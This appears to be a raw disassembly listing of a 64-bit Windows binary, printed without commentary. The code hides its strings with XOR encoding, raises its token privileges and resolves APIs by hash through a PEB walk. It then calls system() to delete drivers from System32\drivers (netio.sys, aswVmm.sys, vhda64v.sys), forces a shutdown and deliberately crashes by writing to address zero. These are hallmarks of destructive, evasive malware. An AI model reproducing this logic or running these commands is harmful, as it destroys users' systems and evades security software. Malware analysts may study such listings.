vmovdqu xmmword [rbp + 0x4a0], xmm1
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x2520]
call fcn.14009d640
lea rdx, [rbp + 0x8c0]
cmp qword [rbp + 0x8d8], 0xf
cmova rdx, qword [rbp + 0x8c0]
mov r8, qword [rbp + 0x8d0]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2520]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2520], rax
mov rax, qword [rbp + 0x2520]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x251c], edx
lea rcx, [rbp + 0x2528]
call fcn.14009b040
lea rcx, [rbp + 0x2530]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x25c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x8c0]
jmp 0x140117ed7
call fcn.140084d80
movabs rax, 0x3732dfa82e401198
mov qword [rbp + 0xfe0], rax
movabs rax, 0x6e7603af09f31bae
mov qword [rbp + 0xfe8], rax
movabs rax, 0x3e6df2aecfaf17bd
mov qword [rbp + 0xff0], rax
movabs rax, 0x9c1c44b9b66712b9
mov qword [rbp + 0xff8], rax
movabs rax, 0x398cdcb54b1f1aa9
mov qword [rbp + 0x1000], rax
movabs rax, 0xf9011ab920811bb0
mov qword [rbp + 0x1008], rax
movabs rax, 0x23a8b3ae11701a9d
mov qword [rbp + 0x1010], rax
movabs rax, 0x8ec8d3a518ec06bd
mov qword [rbp + 0x1018], rax
movabs rax, 0x7b6a2adc0a8f24fc
mov qword [rbp + 0x1020], rax
movabs rcx, 0xd4bd60dccb3074dc
mov qword [rbp + 0x1028], rcx
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
movabs rax, 0x7b6a2adc24cc74dc
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
vmovdqu xmm0, xmmword [rbp + 0xfe0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xfe0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xff0]
vmovdqu xmmword [rbp + 0xff0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0x1000]
vmovdqu xmmword [rbp + 0x1000], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x1010]
vmovdqu xmmword [rbp + 0x1010], xmm1
vmovdqu xmm2, xmmword [rbp - 0x50]
vpxor xmm0, xmm2, xmmword [rbp + 0x1020]
vmovdqu xmmword [rbp + 0x1020], xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp + 0x8e0], xmm1
mov qword [rbp + 0x8f0], r12
mov qword [rbp + 0x8f8], r12
lea rax, [rbp + 0xfe0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140118951
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x8e0]
call fcn.14009dee0
lea rax, [rbp + 0x8e0]
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 0x4b8], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x4b0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x4b0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x2630]
call fcn.14009b130
nop
cmp qword [rbp + 0x26b8], 0
je 0x140118a72
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x4c0], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x4c8], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x4c0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x4c0], xmm1
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x2630]
call fcn.14009d640
lea rdx, [rbp + 0x8e0]
cmp qword [rbp + 0x8f8], 0xf
cmova rdx, qword [rbp + 0x8e0]
mov r8, qword [rbp + 0x8f0]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2630]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2630], rax
mov rax, qword [rbp + 0x2630]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x262c], edx
lea rcx, [rbp + 0x2638]
call fcn.14009b040
lea rcx, [rbp + 0x2640]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x26d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x8f8]
cmp rdx, 0xf
jbe 0x140118b0f
inc rdx
mov rcx, qword [rbp + 0x8e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140118b0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140118b0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401cb090
mov qword [rbp + 0x8f0], r12
mov qword [rbp + 0x8f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8e0], 0
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x140117f1e
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140117f19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140117f19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140084d80
movabs rax, 0x3732dfa82e401198
mov qword [rbp + 0x1030], rax
movabs rax, 0x6e7603af09f31bae
mov qword [rbp + 0x1038], rax
movabs rax, 0x3e6df2aecfaf17bd
mov qword [rbp + 0x1040], rax
movabs rax, 0x9c1c44b9b66712b9
mov qword [rbp + 0x1048], rax
movabs rax, 0x398cdcb54b1f1aa9
mov qword [rbp + 0x1050], rax
movabs rax, 0xf9011ab920811bb0
mov qword [rbp + 0x1058], rax
movabs rax, 0x23a8b3ae11701a9d
mov qword [rbp + 0x1060], rax
movabs rax, 0x8ec8d3a518ec06bd
mov qword [rbp + 0x1068], rax
movabs rax, 0x7b6a2adc0a8f24fc
mov qword [rbp + 0x1070], rax
movabs rcx, 0xd4bd60dccb3074dc
mov qword [rbp + 0x1078], rcx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
movabs rax, 0x7b6a2adc24cc74dc
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x1030]
vmovdqu xmmword [rbp + 0x1030], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1040]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x1040], xmm0
vmovdqu xmm1, xmmword [rbp + 0x1050]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x1050], xmm2
vmovdqu xmm0, xmmword [rbp + 0x1060]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x1060], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1070]
vpxor xmm0, xmm2, xmmword [rbp - 0x50]
vmovdqu xmmword [rbp + 0x1070], xmm0
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x980]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x520]
vmovdqu xmmword [rbp + 0x520], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x2740]
call fcn.14009b130
nop
cmp qword [rbp + 0x27c8], 0
je 0x140118e02
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x530], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x538], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x530]
vmovdqu xmmword [rbp + 0x530], xmm1
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x2740]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140118de5
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2740]
call fcn.140084d40
nop
jmp 0x140119351
call fcn.140084d80
movabs rax, 0x3732dfa82e401198
mov qword [rbp + 0x1080], rax
movabs rax, 0x6e7603af09f31bae
mov qword [rbp + 0x1088], rax
movabs rax, 0x3e6df2aecfaf17bd
mov qword [rbp + 0x1090], rax
movabs rax, 0x9c1c44b9b66712b9
mov qword [rbp + 0x1098], rax
movabs rax, 0x398cdcb54b1f1aa9
mov qword [rbp + 0x10a0], rax
movabs rax, 0xf9011ab920811bb0
mov qword [rbp + 0x10a8], rax
movabs rax, 0x23a8b3ae11701a9d
mov qword [rbp + 0x10b0], rax
movabs rax, 0x8ec8d3a518ec06bd
mov qword [rbp + 0x10b8], rax
movabs rax, 0x7b6a2adc0a8f24fc
mov qword [rbp + 0x10c0], rax
movabs rcx, 0xd4bd60dccb3074dc
mov qword [rbp + 0x10c8], rcx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
movabs rax, 0x7b6a2adc24cc74dc
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x1080]
vmovdqu xmmword [rbp + 0x1080], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1090]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x1090], xmm0
vmovdqu xmm1, xmmword [rbp + 0x10a0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x10a0], xmm2
vmovdqu xmm0, xmmword [rbp + 0x10b0]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x10b0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x10c0]
vpxor xmm0, xmm2, xmmword [rbp - 0x50]
vmovdqu xmmword [rbp + 0x10c0], xmm0
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x9a0]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x540]
vmovdqu xmmword [rbp + 0x540], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x2850]
call fcn.14009b130
nop
cmp qword [rbp + 0x28d8], 0
je 0x1401190a3
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x550], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x558], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x550]
vmovdqu xmmword [rbp + 0x550], xmm1
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x2850]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140119086
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2850]
call fcn.140084d40
nop
jmp 0x140119351
call fcn.140084d80
movabs rax, 0x3732dfa82e401198
mov qword [rbp + 0x10d0], rax
movabs rax, 0x6e7603af09f31bae
mov qword [rbp + 0x10d8], rax
movabs rax, 0x3e6df2aecfaf17bd
mov qword [rbp + 0x10e0], rax
movabs rax, 0x9c1c44b9b66712b9
mov qword [rbp + 0x10e8], rax
movabs rax, 0x398cdcb54b1f1aa9
mov qword [rbp + 0x10f0], rax
movabs rax, 0xf9011ab920811bb0
mov qword [rbp + 0x10f8], rax
movabs rax, 0x23a8b3ae11701a9d
mov qword [rbp + 0x1100], rax
movabs rax, 0x8ec8d3a518ec06bd
mov qword [rbp + 0x1108], rax
movabs rax, 0x7b6a2adc0a8f24fc
mov qword [rbp + 0x1110], rax
movabs rcx, 0xd4bd60dccb3074dc
mov qword [rbp + 0x1118], rcx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
movabs rax, 0x7b6a2adc24cc74dc
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x10d0]
vmovdqu xmmword [rbp + 0x10d0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x10e0]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x10e0], xmm0
vmovdqu xmm1, xmmword [rbp + 0x10f0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x10f0], xmm2
vmovdqu xmm0, xmmword [rbp + 0x1100]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x1100], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1110]
vpxor xmm0, xmm2, xmmword [rbp - 0x50]
vmovdqu xmmword [rbp + 0x1110], xmm0
lea rdx, [rbp + 0x10d0]
lea rcx, [rbp + 0x9c0]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x568], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x560]
vmovdqu xmmword [rbp + 0x560], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x2960]
call fcn.14009b130
nop
cmp qword [rbp + 0x29e8], 0
je 0x140119344
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x570], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x578], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x570]
vmovdqu xmmword [rbp + 0x570], xmm1
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x2960]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140119327
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2960]
call fcn.140084d40
nop
mov rcx, rbx
call fcn.14009b5e0
nop
lea rcx, [rbp + 0x960]
call fcn.14009b5e0
vmovsd xmm0, qword [0x1401eb810]
vmovsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1401eb818]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401eb81c]
mov word [rbp - 0x34], ax
cmp byte [0x1401eb81d], 0
je 0x1401193c8
mov byte [rbp - 0x40], 0x44
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
xor byte [rbp - 0x36], 0x40
xor byte [rbp - 0x35], 0x41
xor byte [rbp - 0x34], 0x42
xor byte [rbp - 0x33], 0x43
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x9e0]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
call fcn.140084d80
movabs rax, 0xb7694b0274800b2
mov qword [rbp + 0x580], rax
movabs rax, 0x265670dc6c9074b0
mov qword [rbp + 0x588], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x580]
vmovdqu xmmword [rbp + 0x580], xmm1
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14011956c
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x590], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x18]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1401194d7
lea r8, [rbp - 0x10]
lea rdx, [0x1401eb688]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp - 0x18]
test eax, eax
je 0x1401194d1
mov dword [rbp + 0x590], 1
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x594], rax
mov dword [rbp + 0x59c], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x590]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x1542ceb91840008e
mov qword [rbp + 0xa00], rax
movabs rax, 0x652539af1ff517b3
mov qword [rbp + 0xa08], rax
movabs rax, 0x5c21bfbfc3b01dae
mov qword [rbp + 0xa10], rax
mov qword [rbp + 0xa18], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rdi
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xa00]
vmovdqu xmmword [rbp + 0xa00], xmm1
vmovdqu xmm2, xmmword [rbp + 0xa10]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xa10], xmm0
lea rdx, [rbp + 0xa00]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14011956c
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
lea rcx, str.shutdown_shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140084d80
lea rdx, [0x1401d3290]
lea rcx, [rbp + 0xa20]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.14016c580
call fcn.140084e40
lea rcx, [0x140318b10]
call fcn.14016fee0
call fcn.140084e40
call fcn.140135f54
mov ecx, dword [0x1403178f0]
call fcn.1400f0dc0
test al, al
je 0x14011989d
vmovsd xmm0, qword [0x1401eb820]
vmovsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1401eb828]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401eb82c]
mov word [rbp - 0x34], ax
cmp byte [0x1401eb82d], 0
je 0x140119664
mov byte [rbp - 0x40], 0x44
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
xor byte [rbp - 0x36], 0x40
xor byte [rbp - 0x35], 0x41
xor byte [rbp - 0x34], 0x42
xor byte [rbp - 0x33], 0x43
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xa40]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119714
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119714
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14011970f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1401196f0
cmp edx, 0xcded1a85
je 0x140119719
test r9d, r9d
jne 0x1401196d0
mov rax, qword [rax]
jmp 0x1401196a0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1401197c4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1401197c4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1401197bf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1401197a0
cmp edx, 0xe80fd3a
je 0x1401197c9
test r9d, r9d
jne 0x140119780
mov rax, qword [rax]
jmp 0x140119750
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119874
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119874
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14011986f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119850
cmp edx, 0xa52bcaf9
je 0x140119879
test r9d, r9d
jne 0x140119830
mov rax, qword [rax]
jmp 0x140119800
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov dword [0], 0xdead
mov ecx, 1
call fcn.1401cb054
mov qword [rbp - 8], rax
lea rcx, [rbp + 0x5a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400e8ae0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x5a0], rax
test rax, rax
je 0x14011a6a9
mov qword [rbp - 8], r12
cmp byte [0x140317908], 0
je 0x140119b8d
vmovsd xmm0, qword [0x1401eb858]
vmovsd qword [rbp], xmm0
